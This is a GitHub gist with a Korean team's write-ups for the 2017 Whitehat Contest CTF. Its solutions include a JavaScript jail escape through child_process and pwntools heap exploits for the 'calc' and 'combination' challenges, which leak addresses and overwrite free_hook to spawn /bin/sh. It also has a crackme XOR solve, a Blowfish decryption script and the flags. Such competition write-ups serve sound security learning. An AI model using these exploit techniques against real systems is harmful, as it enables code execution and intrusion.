Skip to content

Instantly share code, notes, and snippets.

@5unKn0wn
Last active November 8, 2017 05:20
Show Gist options
  • Save 5unKn0wn/f8d06de8ec34e79b8f4c44b3d82c8f89 to your computer and use it in GitHub Desktop.
Save 5unKn0wn/f8d06de8ec34e79b8f4c44b3d82c8f89 to your computer and use it in GitHub Desktop.

2017 Whitehat Contest Write-Ups

LeaveCat (이태양, 오우진, 강진오, 김낙현)


MicCheck (50)

Welcome_to_WhiteHat_Contest_2017


jail (235)

child_process를 이용해서 쉘 커맨드를 실행하면 된다.

require(["ch","_process"]["join"]("ild"))[["e","xecSyn","c"]["join"]("")]("tee<flag")

easy~esay!easy?_Jav4-scr1pt~yay


calc (435)

interpreter 문제이다.

if (variable->size < value->size) variable->str = (char*)realloc(variable->str, value->size + 1);
if (!variable->str) throw "Internal Error";
variable->size = strlen(variable->str);
strcpy(variable->str, value->str);

variable에 string이 저장될때 기존에 길이를 유지하고 메모리를 다시 할당한다.
이것을 이용하면 size는 할당된 메모리보다 작게 설정되고 vimtim = evil 가 된다면 strcpy로 heap overflow가 발생될 수 있다.

from pwn import *

s = remote('challenges.whitehatcontest.kr', 24756)
def do(k):
	s.recvuntil('>>>')
	s.sendline(k)
do('c="%s"'%("C"*0x10))
do('a="1"') # malloc 8
do('a="%s"'%("A"*0x30)) # realloc 0x100 , size = 1;
do('b="1"') # malloc 8
do('c=a')
do('c')
heap = u32(s.recvuntil('>>>')[1:5]) - 0x5de8
log.info("HEAP : 0x%x"%heap)
s.sendline('1')
do("1234")
do("1234")
do("1234")
do("1234")
do('sh="%s"'%("C"*0x10))
do('k="1"')
do('k="%s%s"'%("A"*0x30,p32(heap+0x5f60)+"\x04"))
do('l="1"') # malloc 8
do("sh=k")
do("%s"%("A"*0x1000))
do('sh')
libc = u32(s.recvuntil('>>>')[1:5])-0x1b0768-0x48
log.info("LIBC : 0x%x"%libc)  
free_hook = libc+0x1b18b0
s.sendline('1')
do('j="1111"')
do('d="1111"')
do('g="2222"')
do('sh="%s"'%(p32(heap+0x5f00)))
do('r="4444"')
do('r="4444"')
do('t="1234"')
do('y="1"')
do('y="%s"'%("/bin/sh;"+p32(libc+0x3a940)+"AAAA"+p32(free_hook)+'\x04'))
do('r=y')
do('g="'+p32(libc+0x3a940)+'"')
s.interactive()

hacking is much more about attitude than about aptitude.


crackme (295)

간단한 vm을 구현한 크랙미이다.
디버깅 하면서 하나하나 분석해보면 16글자의 PASSCODE를 입력받는다.
루틴은 간단한 xor을 하고 cmp하는 것 밖에 없다.
0x400DE0 주소에서 한 글자씩 [0x11, 0x55, 0x73, 0xe9, 0x33, 0x64, 0x77, 0xc3, 0xd8, 0xaa, 0x97, 0x44, 0xa6, 0x66, 0xb7, 0xf9] 이 16바이트의 값과 xor을 한다.
그리고 0x400997 주소에서 바로 [0x59, 0x61, 0x23, 0xb9, 0x4a, 0x33, 0x46, 0x97, 0x90, 0xe9, 0xa7, 0x2a, 0xe5, 0x32, 0xf1, 0xd8] 이 16바이트의 테이블과 비교를 한다.
그냥 두 테이블을 xor 시켜주면 플래그가 나온다.

table = [0x11, 0x55, 0x73, 0xe9, 0x33, 0x64, 0x77, 0xc3, 0xd8, 0xaa, 0x97, 0x44, 0xa6, 0x66, 0xb7, 0xf9]
res = [0x59, 0x61, 0x23, 0xb9, 0x4a, 0x33, 0x46, 0x97, 0x90, 0xe9, 0xa7, 0x2a, 0xe5, 0x32, 0xf1, 0xd8]
print ''.join(chr(table[i] ^ res[i]) for i in range(len(table)))

H4PPyW1THC0nCTF!


combination (460)

문제에서 제공한 프로그램을 실행시키면 malloc / free / list / modify / exit의 5가지 메뉴가 표시된다.
malloc: 총 15번 할당할 수 있다. size를 입력받고 smallbin 범위 (0x90 초과 0x200 미만)에 해당하면 할당하고 데이터를 입력받는다.
free: free할 메모리의 인덱스를 입력받고 free, 이후에 free flag를 1로 설정해준다.
list: 테이블에 있는 모든 데이터를 출력해준다.
modify: 수정할 청크의 인덱스를 입력받고 데이터를 입력받는다.

취약점은 modify 메뉴에서 발생하는데, 수정하면서 데이터 마지막에 널 바이트를 붙여 1바이트 오버플로우가 발생한다.

또, 문제에서 제공하는 기본 5가지 메뉴 외에도 리버싱해보면 하나의 추가 메뉴가 있는데, 이 메뉴에선 size만큼 스택에 공간을 할당하고 테이블에 넣는다.

바이너리에 PIE가 걸려 있기 때문에 널 바이트 오버플로우가 발생할 때 쓸 수 있는 가장 일반적인 익스플로잇 기법인 “Unsafe unlink”를 사용할 수 없다. 그러나 주목해야 할 부분은 데이터를 입력받을 때 널 바이트가 끝에 붙지 않는다는 점이다.
즉, 숨겨진 메뉴를 통해 스택에 공간을 할당하고 binary base쪽의 주소를 가지고 있는 포인터까지 데이터를 읽어서 붙인 후 출력하면 binary base를 릭할 수 있고, 전역변수 영역에 포인터 테이블이 있기 때문에 unsafe unlink를 통해 포인터 테이블을 우리 마음대로 건드릴 수 있다.

free된 청크도 그냥 출력해주기 때문에 청크를 free하고 바로 읽어 unsorted bin의 주소를 알 수 있고, unsafe unlink 이후 포인터를 free_hook으로 덮어 free_hook의 값을 system 함수의 주소로 조작한 뒤, “/bin/sh” 포인터를 할당하고 해제해 system(“/bin/sh”)을 실행시킬 수 있다.

from pwn import *

r = remote("challenges.whitehatcontest.kr", 47850)

raw_input("$")

def malloc(size, data):
	r.send("1\n")
	#print r.recvuntil("size : ")
	r.send(str(size)+"\n")
	print r.recvuntil("data : ")
	r.send(data)
	print r.recvuntil("> ")

def free(index):
	r.send("2\n")
	print r.recvuntil("free : ")
	r.send(str(index)+"\n")
	print r.recvuntil("> ")

print r.recvuntil("> ")

malloc(200, "asdf\n")

r.send("46\n")
r.send("500\n")
r.send("A"*236 + "BBBB" + "\n")

print r.recvuntil("> ")

r.send("3\n")
print r.recvuntil("see? ")
r.send("2\n")
print r.recvuntil("BBBB")

recved = r.recvuntil("\n")[:-1]
recved = u64(recved + "\x00" * (8 - len(recved)))

print r.recvuntil("> ")

print "leak: " + hex(recved)

binbase = recved - 0x990

print "binbase: " + hex(binbase)

malloc(0x108, "pppp\n")
free(1)

r.send("3\n")
print r.recvuntil("see? ")
r.send("1\n")
print r.recvuntil("Data : ")

recved = r.recvuntil("\n")[:-1]
recved = u64(recved + "\x00" * (8 - len(recved)))
libcbase = recved - 0x3c4b78

print r.recvuntil("> ")

print "libc: " + hex(libcbase)

malloc(0xf0, "/bin/sh\x00\n")
malloc(200, "asdf\n")

r.send("4\n")
print r.recvuntil("modify : ")
r.send("3\n")
print r.recvuntil("data : ")

payload = p64(0x0)
payload += p64(0x101)
payload += p64(binbase+0x202090-24)
payload += p64(binbase+0x202090-16)
payload += "\x00"*0xe0
payload += p64(0x100)

r.send(payload)

print r.recvuntil("> ")

free(4)

r.send("4\n")
print r.recvuntil("modify : ")
r.send("3\n")
print r.recvuntil("data : ")

freehook = libcbase + 0x3c67a8

r.send(p64(freehook)[:-1] + "\n")

r.send("4\n")
print r.recvuntil("modify : ")
r.send("2\n")
print r.recvuntil("data : ")

r.send(p64(libcbase+0x45390)[:-1] + "\n")

malloc(500, "/bin/sh\n")

r.send("2\n")
r.send("6\n")

r.interactive()

It_was_perfect_combination!


catdb (460)

디비를 만들거나 로드할 수 있는 프로그램과 cat.db가 주어진다.
첫 번째 파일을 디비에서 로드하면 cat_1.jpg가 만들어지고 추출하면 jpg 데이터가 짤린 파일이 하나 나온다.
다음 파일을 디비에서 로드하면 글자가 깨진 이름과 디스크립션이 나온다.
그리고 맨 첫 번째 추출된 데이터를 보면 jpg데이터가 jpg푸터까지 다 추출이 안되고 중간에 끊긴 것을 알 수 있다.
왜그런가 해서 바이너리를 디버깅하며 분석해보니 파일의 전체 사이즈를 저장하는 변수가 2바이트 word의 크기였기 때문에 제대로 사이즈를 불러오지 못하였다.
그래서 그냥 내가 직접 jpg푸터가 나올 때까지 복호화 해주는 코드를 짜서 디비 안의 모든 파일을 복호화하니 맨 마지막 파일에 플래그가 있었다.

from Crypto.Cipher import Blowfish

def decrypt_file(f, realsize):
	iv = "\x01\x02\x03\x04\x05\x06\x07\x08"
	key = f.read(2)
	filename = f.read(8)
	comment = f.read(8)
	size = f.read(2)
	enc = f.read(realsize)

	print "key : " + key.encode('hex')
	print "filename(enc) : " + filename.encode('hex')
	print "comment(dec) : " + comment.encode('hex')
	print "size : " + size.encode('hex')

	cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
	filename = cipher.decrypt(filename).rstrip('\x00')
	comment = cipher.decrypt(comment).rstrip('\x00')

	print "filename : " + filename
	print "comment : " + comment

	wf = open(filename, "wb")
	for i in range(0, len(enc), 8):
		tmp = enc[i:i + 8]
		dec = cipher.decrypt(tmp)
		wf.write(dec)
	wf.close()

f = open("cat.db", "rb")
print "signature : " + f.read(4)

decrypt_file(f, 0x1b9548)
decrypt_file(f, 0x1ccea0)
decrypt_file(f, 0x3df60)
decrypt_file(f, 0x3df60)
f.close()

make_c@t_great_again

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment